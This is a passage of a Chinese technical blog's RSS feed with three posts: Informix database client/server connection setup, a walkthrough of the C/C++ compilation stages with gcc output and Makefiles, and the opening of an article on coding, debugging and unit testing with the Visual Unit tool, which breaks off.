ONCONFIG  文件：
    DBSERVERNAME    online7
    DBSERVERALIAS   online7_net
    NETTYPE         ipcshm,1,10,CPU
    NETTYPE         tlitcp,1,20,NET
sqlhosts文件:
    online7    [...]]]></description>
			<content:encoded><![CDATA[<p>Informix Server是在SCO UNIX OPenserver 5.0.5下的IDS7.23<br />
以下是几个配置文件：<br />
ONCONFIG  文件：<br />
    DBSERVERNAME    online7<br />
    DBSERVERALIAS   online7_net<br />
    NETTYPE         ipcshm,1,10,CPU<br />
    NETTYPE         tlitcp,1,20,NET<br />
sqlhosts文件:<br />
    online7     onipcshm    account     on_shm<br />
    online7_net ontlitcp    account1    sqlexec </p>
<p>在 /etc/hosts中<br />
    192.1.1.133     account account1<br />
最后在 /etc/services增加如下一行：<br />
    sqlexec     3070/tcp </p>
<p>Informix客户端使用Informix Cli 2.50 TD2，操作系统是Windows NT4 Service<br />
 Pack4<br />
首先安装Informix Cli,然后利用setnet32配置Infomrix的环境：<br />
在 Server Information:<br />
    Informix Server:online7_net<br />
    HostName   :    account1<br />
    ProtocolName:   onsoctcp<br />
    ServicesName:   sqlexec<br />
注：在NT中ServiceName可以是sqlexec的端口号，不过我用sqlexec不能连通，<br />
<span id="more-797"></span><br />
    只有利用端口号才能连通数据库服务器。<br />
在 Host Information:<br />
    Current Host:   account1<br />
    User Name:      myname<br />
    Password option:Password<br />
    Password:       mypasswd<br />
按有关手册介绍，在NT下需要将上述信息登记到系统注册表中，但设置程序并<br />
不会自动注册，需要运行$INFORMIXDIR/bin下的regcopy! </p>
<p>在环境设置项中Environment:<br />
    INFORMIXDIR=D:\informix<br />
    INFORMIXSERVER=online7_net </p>
<p>然后在系统文件中增加下面的内容：<br />
C:\WINNT\system32\drivers\etc\services (必须要与服务器上/etc/services文<br />
件中的内容<br />
一致)<br />
    sqlexec     3070/tcp </p>
<p>C:\WINNT\system32\drivers\etc\hosts<br />
    192.1.1.133    account1<br />
如果是windows95/98，以上两个文件应该在所安装目录下。 </p>
<p>最后可以利用BCB的BDE配置所需的数据库别名。<br />
注意一下在Configuration->Drivers->Native->Informix下的DLL32项中，<br />
我选择了SQLINF32.DLL，按BCB的说法SQLINF9.DLL是连Informix Online9.0以上<br />
的，<br />
而SQLINF32.DLL是连接Online7.x以下的；在databases项中，你就可以增加<br />
你所需的数据库别名。<br />
按以上步骤设置，应该是没有问题.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/797.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C/C++程序编译步骤详解</title>
		<link>http://www.evanjiang.net.cn/archives/748.html</link>
		<comments>http://www.evanjiang.net.cn/archives/748.html#comments</comments>
		<pubDate>Fri, 06 Mar 2009 10:14:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[C/C++ 程序 编译步骤 详解]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=748</guid>
		<description><![CDATA[<p>C/C++语言很多人都比较熟悉，这基本上是每位大学生必学的一门编程语言，通常还都是作为程序设计入门语言学的，并且课程大多安排在大一。刚上大学，学习也比较认真，用心。所以，C/C++语言掌握地也都不错，不用说编译程序，就是写个上几百行的程序都不在话下，但是他们真的知道C/C++程序编译的步骤么？</p>
<p>我想很多人都不甚清楚，如果他接下来学过“编译原理”，也许能说个大概。VC的“舒适”开发环境屏蔽了很多编译的细节，这无疑降低了初学者的入门门槛，但是也“剥夺”了他们“知其所以然”的权利，致使很多东西只能死记硬背，遇到相关问题就“丈二”。实际上，我也是在学习Linux环境下编程的过程中才逐渐弄清楚C/C++源代码是如何一步步变成可执行文件的。</p>
<p>总体来说，C/C++源代码要经过：预处理、编译、汇编和连接四步才能变成相应平台下的可执行文件。大多数时候，程序员通过一个命令就能完成上述四个步骤。比如下面这段C的“Hello world！”代码:</p>
<p>File: hw.c</p>
<p>#include </p>
<p>int main(int argc, char *argv[])
{
printf(&#8220;Hello World!\n&#8221;);</p>
<p>return 0;
}</p>
<p>如果用gcc编译，只需要一个命令就可以生成可执行文件hw:</p>
<p>xiaosuo@gentux hw $ gcc -o hw hw.c</p>
<p>xiaosuo@gentux hw $ ./hw Hello World!
</p>
<p>我们可以用-v参数来看看gcc到底在背后都做了些什么动作:</p>
<p>Reading specs from /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/specs
Configured with: /var/tmp/portage/sys-devel/gcc-3.4.6-r2/work/gcc-3.4.6/configure &#8211;prefix=/usr &#8211;bindir=/usr/i686-pc-linux-gnu/gcc-bin/3.4.6 &#8211;includedir=/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include &#8211;datadir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6 &#8211;mandir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6/man &#8211;infodir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6/info &#8211;with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include/g++-v3 &#8211;host=i686-pc-linux-gnu &#8211;build=i686-pc-linux-gnu &#8211;disable-altivec &#8211;enable-nls &#8211;without-included-gettext &#8211;with-system-zlib &#8211;disable-checking &#8211;disable-werror &#8211;enable-secureplt &#8211;disable-libunwind-exceptions &#8211;disable-multilib &#8211;disable-libgcj &#8211;enable-languages=c,c++,f77 &#8211;enable-shared &#8211;enable-threads=posix &#8211;enable-__cxa_atexit &#8211;enable-clocale=gnu
Thread model: posix
gcc version 3.4.6 (Gentoo [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #000000;">C/C++语言很多人都比较熟悉，这基本上是每位大学生必学的一门编程语言，通常还都是作为程序设计入门语言学的，并且课程大多安排在大一。刚上大学，学习也比较认真，用心。所以，C/C++语言掌握地也都不错，不用说编译程序，就是写个上几百行的程序都不在话下，但是他们真的知道C/C++程序编译的步骤么？</span></p>
<p><span style="color: #000000;">我想很多人都不甚清楚，如果他接下来学过“编译原理”，也许能说个大概。VC的“舒适”开发环境屏蔽了很多编译的细节，这无疑降低了初学者的入门门槛，但是也“剥夺”了他们“知其所以然”的权利，致使很多东西只能死记硬背，遇到相关问题就“丈二”。实际上，我也是在学习Linux环境下编程的过程中才逐渐弄清楚C/C++源代码是如何一步步变成可执行文件的。</span></p>
<p><span style="color: #000000;">总体来说，C/C++源代码要经过：预处理、编译、汇编和连接四步才能变成相应平台下的可执行文件。大多数时候，程序员通过一个命令就能完成上述四个步骤。比如下面这段C的“Hello world！”代码:</span></p>
<p><span style="color: #000000;">File: hw.c</span></p>
<p><span style="color: #000000;">#include </span></p>
<p><span style="color: #000000;">int main(int argc, char *argv[])<br />
{<br />
printf(&#8220;Hello World!\n&#8221;);</span></p>
<p><span style="color: #000000;">return 0;<br />
}</span></p>
<p><span style="color: #000000;">如果用gcc编译，只需要一个命令就可以生成可执行文件hw:</span></p>
<p><span style="color: #000000;">xiaosuo@gentux hw $ gcc -o hw hw.c</span></p>
<p><span style="color: #000000;">xiaosuo@gentux hw $ ./hw Hello World!<br />
<span id="more-748"></span></span></p>
<p><span style="color: #000000;">我们可以用-v参数来看看gcc到底在背后都做了些什么动作:</span></p>
<p><span style="color: #000000;">Reading specs from /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/specs<br />
Configured with: /var/tmp/portage/sys-devel/gcc-3.4.6-r2/work/gcc-3.4.6/configure &#8211;prefix=/usr &#8211;bindir=/usr/i686-pc-linux-gnu/gcc-bin/3.4.6 &#8211;includedir=/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include &#8211;datadir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6 &#8211;mandir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6/man &#8211;infodir=/usr/share/gcc-data/i686-pc-linux-gnu/3.4.6/info &#8211;with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include/g++-v3 &#8211;host=i686-pc-linux-gnu &#8211;build=i686-pc-linux-gnu &#8211;disable-altivec &#8211;enable-nls &#8211;without-included-gettext &#8211;with-system-zlib &#8211;disable-checking &#8211;disable-werror &#8211;enable-secureplt &#8211;disable-libunwind-exceptions &#8211;disable-multilib &#8211;disable-libgcj &#8211;enable-languages=c,c++,f77 &#8211;enable-shared &#8211;enable-threads=posix &#8211;enable-__cxa_atexit &#8211;enable-clocale=gnu<br />
Thread model: posix<br />
gcc version 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)<br />
/usr/libexec/gcc/i686-pc-linux-gnu/3.4.6/cc1 -quiet -v hw.c -quiet -dumpbase hw.c -mtune=pentiumpro -auxbase hw -version -o /tmp/ccYB6UwR.s<br />
ignoring nonexistent directory &#8220;/usr/local/include&#8221;<br />
ignoring nonexistent directory &#8220;/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../../i686-pc-linux-gnu/include&#8221;<br />
#include &#8220;&#8230;&#8221; search starts here:<br />
#include &lt;&#8230;&gt; search starts here:<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/include<br />
/usr/include<br />
End of search list.<br />
GNU C version 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10) (i686-pc-linux-gnu)<br />
compiled by GNU C version 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.9).<br />
GGC heuristics: &#8211;param ggc-min-expand=81 &#8211;param ggc-min-heapsize=97004<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../../i686-pc-linux-gnu/bin/as -V -Qy -o /tmp/ccq8uGED.o /tmp/ccYB6UwR.s<br />
GNU assembler version 2.17 (i686-pc-linux-gnu) using BFD version 2.17<br />
/usr/libexec/gcc/i686-pc-linux-gnu/3.4.6/collect2 &#8211;eh-frame-hdr -m elf_i386 -dynamic-linker /lib/ld-linux.so.2 -o hw /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../crt1.o /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../crti.o /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtbegin.o -L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6 -L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6 -L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../../i686-pc-linux-gnu/lib -L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../.. /tmp/ccq8uGED.o -lgcc &#8211;as-needed -lgcc_s &#8211;no-as-needed -lc -lgcc &#8211;as-needed -lgcc_s &#8211;no-as-needed /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtend.o /usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../crtn.o</span></p>
<p><span style="color: #000000;">稍微整理一下，去掉一些冗余信息后，如下:</span></p>
<p><span style="color: #000000;">cc1 hw.c -o /tmp/ccYB6UwR.s<br />
as -o /tmp/ccq8uGED.o /tmp/ccYB6UwR.s<br />
ld -o hw /tmp/ccq8uGED.o</span></p>
<p><span style="color: #000000;">以上三个命令分别对应于编译步骤中的预处理+编译、汇编和连接。预处理和编译还是放在了一个命令（cc1）中进行的，可以把它再次拆分为以下两步:</span></p>
<p><span style="color: #000000;">cpp -o hw.i hw.c<br />
cc1 hw.i -o /tmp/ccYB6UwR.s</span></p>
<p><span style="color: #000000;">一个精简过的能编译以上hw.c文件的Makefile如下:<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
.PHONY: clean</span></p>
<p><span style="color: #000000;">all: hw</span></p>
<p><span style="color: #000000;">hw: hw.o<br />
ld -dynamic-linker /lib/ld-linux.so.2 -o hw /usr/lib/crt1.o \<br />
/usr/lib/crti.o \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtbegin.o \<br />
hw.o -lc \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtend.o \<br />
/usr/lib/crtn.o</span></p>
<p><span style="color: #000000;">hw.o: hw.s<br />
as -o hw.o hw.s</span></p>
<p><span style="color: #000000;">hw.s: hw.i<br />
/usr/libexec/gcc/i686-pc-linux-gnu/3.4.6/cc1 -o hw.s hw.c</span></p>
<p><span style="color: #000000;">hw.i: hw.c<br />
cpp -o hw.i hw.c</span></p>
<p><span style="color: #000000;">clean:<br />
rm -rf hw.i hw.s hw.o</span></p>
<p><span style="color: #000000;">当然，上面Makefile中的一些路径是我系统上的具体情况，你的可能与我的不同。</span></p>
<p><span style="color: #000000;">接下来我们按照编译顺序看看编译器每一步都做了什么。</span></p>
<p><span style="color: #000000;">首先是预处理，预处理后的文件hw.i:</span></p>
<p><span style="color: #000000;"># 1 &#8220;hw.c&#8221;<br />
# 1 &#8220;&#8221;<br />
# 1 &#8220;&#8221;</span></p>
<p><span style="color: #000000;">&#8230;<br />
__extension__ typedef __quad_t __off64_t;<br />
__extension__ typedef int __pid_t;<br />
__extension__ typedef struct { int __val[2]; } __fsid_t;</span></p>
<p><span style="color: #000000;">&#8230;<br />
extern int remove (__const char *__filename) __attribute__ ((__nothrow__));</span></p>
<p><span style="color: #000000;">extern int rename (__const char *__old, __const char *__new) __attribute__ ((__nothrow__));</span></p>
<p><span style="color: #000000;">&#8230;</span></p>
<p><span style="color: #000000;">int main(int argc, char *argv[])<br />
{<br />
printf(&#8220;Hello World!\n&#8221;);</span></p>
<p><span style="color: #000000;">return 0;<br />
}</span></p>
<p><span style="color: #000000;">注：由于文件比较大，所以只留下了少部分具有代表性的内容。</span></p>
<p><span style="color: #000000;">可以看见预处理器把所有要包含（include）的文件（包括递归包含的文件）的内容都添加到了原始的C源文件中，然后把其输出到输出文件，除此之外，它还展开了所有的宏定义，所以在预处理器的输出文件中你将找不到任何宏。这也提供了一个查看宏展开结果的简便方法。</span></p>
<p><span style="color: #000000;">第二步“编译”，就是把C/C++代码“翻译”成汇编代码：</span></p>
<p><span style="color: #000000;">.file &#8220;hw.c&#8221;<br />
.section .rodata<br />
.LC0:<br />
.string &#8220;Hello World!\n&#8221;<br />
.text<br />
.globl main<br />
.type main, @function<br />
main:<br />
pushl %ebp<br />
movl %esp, %ebp<br />
subl $8, %esp<br />
andl $-16, %esp<br />
movl $0, %eax<br />
addl $15, %eax<br />
addl $15, %eax<br />
shrl $4, %eax<br />
sall $4, %eax<br />
subl %eax, %esp<br />
subl $12, %esp<br />
pushl $.LC0<br />
call printf<br />
addl $16, %esp<br />
movl $0, %eax<br />
leave<br />
ret<br />
.size main, .-main<br />
.section .note.GNU-stack,&#8221;",@progbits<br />
.ident &#8220;GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)&#8221;</span></p>
<p><span style="color: #000000;">这个汇编文件比预处理后的C/C++文件小了很多，去除了很多不必要的东西，比如说没用到的类型声明和函数声明等。</span></p>
<p><span style="color: #000000;">第三步“汇编”，将第二步输出的汇编代码翻译成符合一定格式的机器代码，在Linux上一般表现为ELF目标文件。</span></p>
<p><span style="color: #000000;">xiaosuo@gentux hw $ file hw.o<br />
hw.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped</span></p>
<p><span style="color: #000000;">最后一步“连接”，将上步生成的目标文件和系统库的目标文件和库文件连接起来，最终生成了可以在特定平台运行的可执行文件。为什么还要连接系统库中的某些目标文件（crt1.o, crti.o等）呢？这些目标文件都是用来初始化或者回收C运行时环境的，比如说堆内存分配上下文环境的初始化等，实际上crt也正是C RunTime的缩写。这也暗示了另外一点：程序并不是从main函数开始执行的，而是从crt中的某个入口开始的，在Linux上此入口是_start。以上Makefile生成的是动态连接的可执行文件，如果要生成静态连接的可执行文件需要将Makefile中的相应段修改：<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
hw: hw.o<br />
ld -m elf_i386 -static -o hw /usr/lib/crt1.o \<br />
/usr/lib/crti.o \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtbeginT.o \<br />
-L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6 \<br />
-L/usr/i686-pc-linux-gnu/lib \<br />
-L/usr/lib/ \<br />
hw.o &#8211;start-group -lgcc -lgcc_eh -lc &#8211;end-group \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtend.o \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../crtn.o</span></p>
<p><span style="color: #000000;">至此，一个可执行文件才最终创建完成。通常的项目中并不需要把编译过程分得如此之细，前三步一般是合为一体的，在Makefile中表现如下:</span></p>
<p><span style="color: #000000;">hw.o: hw.c<br />
gcc -o hw.o -c hw.c</span></p>
<p><span style="color: #000000;">实际上，如果对hw.c进行了什么更改，那么前三步大多数情况下都是不可避免的。所以把他们写在一起也并没有什么坏处，相反倒可以用&#8211;pipe参数告诉编译器用管道替代临时文件，从而提升编译的效率</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/748.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>高效开发与彻底测试</title>
		<link>http://www.evanjiang.net.cn/archives/712.html</link>
		<comments>http://www.evanjiang.net.cn/archives/712.html#comments</comments>
		<pubDate>Thu, 05 Mar 2009 06:14:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vc++/vc#]]></category>
		<category><![CDATA[技术感悟]]></category>
		<category><![CDATA[系统架构]]></category>
		<category><![CDATA[高效开发与彻底测试]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=712</guid>
		<description><![CDATA[<p>一、“千般路”与“磨豆腐”</p>
<p>    很久以前听一个故事：从前有个小伙子，少时有大志，长大后却无好营生，开了个豆腐作坊，每天磨豆腐累得腰酸背疼。每到夜深人静，小伙子辗转反侧，总想找条更好的“事业之路”，可是想过千百条、尝试过几十条路，都走不通。夜不成寝，白天干活更累，小伙子不由慨叹：“晚上想过千般路，白天还得磨豆腐”。</p>
<p>    不久以前看过一篇文章：《CMM欺骗了中国的软件业》，内容是对CMM热的反思。CMM当然不会主动欺骗人民，实际上是我们的软件业自己欺骗自己。我们从来不缺少“某某模式”，“面向某某”，“某某认证”等等听起来美妙无比的东西，问题是实际的研发过程中能做得到码？现实是残酷的，美妙的概念漫天飞舞，开发过程仍然是作坊式的，正是：“晚上想过千般路，白天还得磨豆腐”。</p>
<p>    中国的故事通常都有圆满的结局，现在接着说“磨豆腐”的故事。过了很长时间，小伙子终于面对现实，不再沉迷于不切实际的空想，用心磨好豆腐，闲时琢磨些个窍门，慢慢地，他的豆腐质量越来越好，每天产量也越来越多，作坊越开越大，成了远近闻名的“豆腐老板”，后来，他做起了别的生意，发现年轻时的空想，其实很多都是可行的，因为现在“能力”和“财力”都不同。</p>
<p>    再说软件开发。我们不反对任何理论、技术、方法、模式等等，但第一，您的企业或团队做得到吗？不要做“如果开发时间延长一倍，就可以做到”之类毫无意义的假设。第二，做了真的有效益吗？效益是指扣除成本之后的收益。如果不具备这两点，那么还是不要整天想着“千般路”，首先想想如何好好的“磨豆腐”吧。</p>
<p>    对于所有软件开发来说，代码编写都是无可逃避的“磨豆腐”。改进代码编写工作，高率效低成本地开发出高质量的代码，对于软件产品能否在激烈的竞争中胜出，对于软件企业的生存和发展，都具有重要的现实意义。

    本文是Visual Unit应用的范例项目C++代码文档生成器的主题文档，叙述的正是改进代码编写工作的方法和工具，所有内容均经过实战检验，具有&#8221;可行&#8221;和&#8221;效益&#8221;两个特征，&#8221;可行&#8221;是指较低门槛或没有门槛，凭现有条件即可实施；&#8221;效益&#8221;是指能产生立竿见影的效果。</p>
<p>    本文所援引的范例项目，模拟最糟糕的开发团队，最混乱的开发流程：由很少写代码的测试和预研部门开发，人员不固定，时间也不固定，谁有空就写上一些；没有设计，没有文档，基至也不在代码文件中保存编码人员的信息，成员完全依赖于阅读代码和测试用例来理解其他成员写的代码；除了简单的命名规则外，没有其他规范，甚至连一个函数原则上不能超过50行之类的基本规范也没有（范例中有超过200行的函数CMacro::Unwind()，一万多条路径）。 任何开发团队和开发流程都会好于范例项目的开发团队和开发流程，因此，范例所展示的方法和工具，具有&#8221;广泛可行性&#8221;。</p>
<p>    本文介绍如何进行高效编码调试和实现彻底的单元测试。编码调试是任何软件开发都无可逃避的工作，在Visual Unit的支持下编码调试，只是把本来就一定要做的工作改变一下方式，不需要多做什么，就可以大幅提高编程效率和质量；另一方面，Visual Unit彻底改变了单元测试难于实施或成本昂贵的局面，无论团队中开发与测试人员的比例是怎么样的，都可以轻松快捷地实现彻底的单元测试。 </p>
<p>　
二、高效编码调试</p>
<p>    任何软件开发，都离不开编码调试。对于稍为复杂一点的函数，一般来说，编写几行代码，就要执行一下，看它们是否按预想的工作，然后再继续写，写完后还要将各种可能输入都执行一下。如何执行？一般由别的代码来调用，也就是说需要驱动，驱动通常是在开始编写函数实现代码之前建立，这样才能一边编写一边调试。驱动大致可分为自然驱动和专门驱动。</p>
<p>    自然驱动：利用项目中已有的代码作为驱动，通常是在被调试的函数中加断点，从界面执行一个需要调用该函数的功能，调试器中断时就可以调试了；专门驱动：为需要调试的函数编写专门的驱动代码，通过执行驱动代码来执行被调试函数。</p>
<p>    自然驱动的主要优点是不需要其他工作就可以直接调试，甚至感觉不到需要驱动，主要缺点是输入数据通常是公共的，即很多代码都使用相同的输入源进行调试，实际输入往往是经过其他代码处理后的中间结果，要针对各种可能输入都进行调试往往很困难，造成调试不全面，程序员的思维受到局限，难于做到全面地考虑各种可能输入。</p>
<p>    专门驱动的主要优点是输入数据是专门针对于被测试程序，容易做到比较全面，程序员的思维也会比较全面，对编写功能齐全的健壮的程序很有好处，要针对某种特定输入进行调试比较容易，缺点是需要花费大量的时间来编写驱动代码。</p>
<p>  [...]]]></description>
			<content:encoded><![CDATA[<p>一、“千般路”与“磨豆腐”</p>
<p>    很久以前听一个故事：从前有个小伙子，少时有大志，长大后却无好营生，开了个豆腐作坊，每天磨豆腐累得腰酸背疼。每到夜深人静，小伙子辗转反侧，总想找条更好的“事业之路”，可是想过千百条、尝试过几十条路，都走不通。夜不成寝，白天干活更累，小伙子不由慨叹：“晚上想过千般路，白天还得磨豆腐”。</p>
<p>    不久以前看过一篇文章：《CMM欺骗了中国的软件业》，内容是对CMM热的反思。CMM当然不会主动欺骗人民，实际上是我们的软件业自己欺骗自己。我们从来不缺少“某某模式”，“面向某某”，“某某认证”等等听起来美妙无比的东西，问题是实际的研发过程中能做得到码？现实是残酷的，美妙的概念漫天飞舞，开发过程仍然是作坊式的，正是：“晚上想过千般路，白天还得磨豆腐”。</p>
<p>    中国的故事通常都有圆满的结局，现在接着说“磨豆腐”的故事。过了很长时间，小伙子终于面对现实，不再沉迷于不切实际的空想，用心磨好豆腐，闲时琢磨些个窍门，慢慢地，他的豆腐质量越来越好，每天产量也越来越多，作坊越开越大，成了远近闻名的“豆腐老板”，后来，他做起了别的生意，发现年轻时的空想，其实很多都是可行的，因为现在“能力”和“财力”都不同。</p>
<p>    再说软件开发。我们不反对任何理论、技术、方法、模式等等，但第一，您的企业或团队做得到吗？不要做“如果开发时间延长一倍，就可以做到”之类毫无意义的假设。第二，做了真的有效益吗？效益是指扣除成本之后的收益。如果不具备这两点，那么还是不要整天想着“千般路”，首先想想如何好好的“磨豆腐”吧。</p>
<p>    对于所有软件开发来说，代码编写都是无可逃避的“磨豆腐”。改进代码编写工作，高率效低成本地开发出高质量的代码，对于软件产品能否在激烈的竞争中胜出，对于软件企业的生存和发展，都具有重要的现实意义。<br />
<span id="more-712"></span><br />
    本文是Visual Unit应用的范例项目C++代码文档生成器的主题文档，叙述的正是改进代码编写工作的方法和工具，所有内容均经过实战检验，具有&#8221;可行&#8221;和&#8221;效益&#8221;两个特征，&#8221;可行&#8221;是指较低门槛或没有门槛，凭现有条件即可实施；&#8221;效益&#8221;是指能产生立竿见影的效果。</p>
<p>    本文所援引的范例项目，模拟最糟糕的开发团队，最混乱的开发流程：由很少写代码的测试和预研部门开发，人员不固定，时间也不固定，谁有空就写上一些；没有设计，没有文档，基至也不在代码文件中保存编码人员的信息，成员完全依赖于阅读代码和测试用例来理解其他成员写的代码；除了简单的命名规则外，没有其他规范，甚至连一个函数原则上不能超过50行之类的基本规范也没有（范例中有超过200行的函数CMacro::Unwind()，一万多条路径）。 任何开发团队和开发流程都会好于范例项目的开发团队和开发流程，因此，范例所展示的方法和工具，具有&#8221;广泛可行性&#8221;。</p>
<p>    本文介绍如何进行高效编码调试和实现彻底的单元测试。编码调试是任何软件开发都无可逃避的工作，在Visual Unit的支持下编码调试，只是把本来就一定要做的工作改变一下方式，不需要多做什么，就可以大幅提高编程效率和质量；另一方面，Visual Unit彻底改变了单元测试难于实施或成本昂贵的局面，无论团队中开发与测试人员的比例是怎么样的，都可以轻松快捷地实现彻底的单元测试。 </p>
<p>　<br />
二、高效编码调试</p>
<p>    任何软件开发，都离不开编码调试。对于稍为复杂一点的函数，一般来说，编写几行代码，就要执行一下，看它们是否按预想的工作，然后再继续写，写完后还要将各种可能输入都执行一下。如何执行？一般由别的代码来调用，也就是说需要驱动，驱动通常是在开始编写函数实现代码之前建立，这样才能一边编写一边调试。驱动大致可分为自然驱动和专门驱动。</p>
<p>    自然驱动：利用项目中已有的代码作为驱动，通常是在被调试的函数中加断点，从界面执行一个需要调用该函数的功能，调试器中断时就可以调试了；专门驱动：为需要调试的函数编写专门的驱动代码，通过执行驱动代码来执行被调试函数。</p>
<p>    自然驱动的主要优点是不需要其他工作就可以直接调试，甚至感觉不到需要驱动，主要缺点是输入数据通常是公共的，即很多代码都使用相同的输入源进行调试，实际输入往往是经过其他代码处理后的中间结果，要针对各种可能输入都进行调试往往很困难，造成调试不全面，程序员的思维受到局限，难于做到全面地考虑各种可能输入。</p>
<p>    专门驱动的主要优点是输入数据是专门针对于被测试程序，容易做到比较全面，程序员的思维也会比较全面，对编写功能齐全的健壮的程序很有好处，要针对某种特定输入进行调试比较容易，缺点是需要花费大量的时间来编写驱动代码。</p>
<p>    显然，自然驱动的主要问题是不全面，代码错误较多，专门驱动的主要问题是编写驱动代码很费时。有没有更好的方法，既不需要编写驱动代码，又能方便且全面地调试？有 ！这就是自动驱动，即在Visual Unit的支持下编码调试，不但无需费时间写驱动代码，更拥有多种独特的便利，可以大幅提高编码调试的质量和效率。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
    Visual Unit是单元测试工具，但也是高效编程调试的支持环境，在Visual Unit的支持下调试，既全面又省时：<br />
    自动生成驱动代码，但又可以方便地设定调试输入；<br />
    测试用例编辑器列出全部输入，可以很方便地检查是否全面。<br />
    除了上述优点外，在Visual Unit的支持下调试，还可以：<br />
    可视化地选择调试输入；<br />
    调试过程中还可以切换输入；<br />
    无限制的后退，重复。</p>
<p>    上述仅是免费的个人版的功能，对于企业版用户，实际上大多数单步调试都可以省略：<br />
    自动输出参数、成员变量的输入输出值，返回值，用户也可以用简单的语法输出任何变量或表达式的值，这些数值都是上下文相关的；<br />
    显示在一个用例下，程序所执行的代码，可以很方便地查看程序是否按预想的流程执行。<br />
    程序无论多复杂，无非就是执行一些代码，读写、计算一些数据，因此，上述两方面信息已完整地描述了程序行为，一眼就能看出程序干了什么，通常可以很快判断程序是否按预想的工作并找到出错原因，比单步调试要快得多。</p>
<p>    下面以实例来进一步分析三种调试方式的优缺点。这里所用的示例是范例项目中的CExFunction::ParseOneParameter()函数，这是一个很普通的函数，读者也可以随便拿其他有些复杂度的代码来比较。该函数的功能是解析C++代码中的一个参数，原形如下：<br />
PARAMETER* CExFunction::ParseOneParameter(CTokenList&#038; iList);<br />
PARAMETER 是保存一个参数对象的结构，定义如下：<br />
     struct PARAMETER</p>
<p>     {</p>
<p>     CString type; //参数类型</p>
<p>     CString name; //参数名</p>
<p>     CString defVal; //缺省值</p>
<p>     CString array; //如果参数是数组，保存[]及[]内的文字常量</p>
<p>     };</p>
<p>    参数iList是一个输入参数（范例的命名规则是用i表示输入参数），传递由C++代码中的一个参数经过词法分析转换获得的记号对象序列，例如参数int* pi，将转换为三个记号对象，分别对应于：int, *, pi。该函数将记号对象序列解析到一个PARAMETER结构的指针中，并作为返回值返回。</p>
<p>    在这个示例中，如果要进行比较全面的调试，输入至少要考虑以下可能：<br />
    普通输入，如int i；<br />
    类型中有符号，如int* pi；<br />
    类型中有多个符号，如int*&#038; pi；<br />
    模板类，如CList<int, int> list；<br />
    带缺省值，如int i=0；<br />
    数组，如int ai[10]；<br />
    类型有多个单词，如const unsigned int&#038; i；<br />
    缺少参数名，如const int；</p>
<p>    我们在编写这个函数的实现代码前，首先建立调试驱动，以例边编码边执行调试。</p>
<p>自然驱动</p>
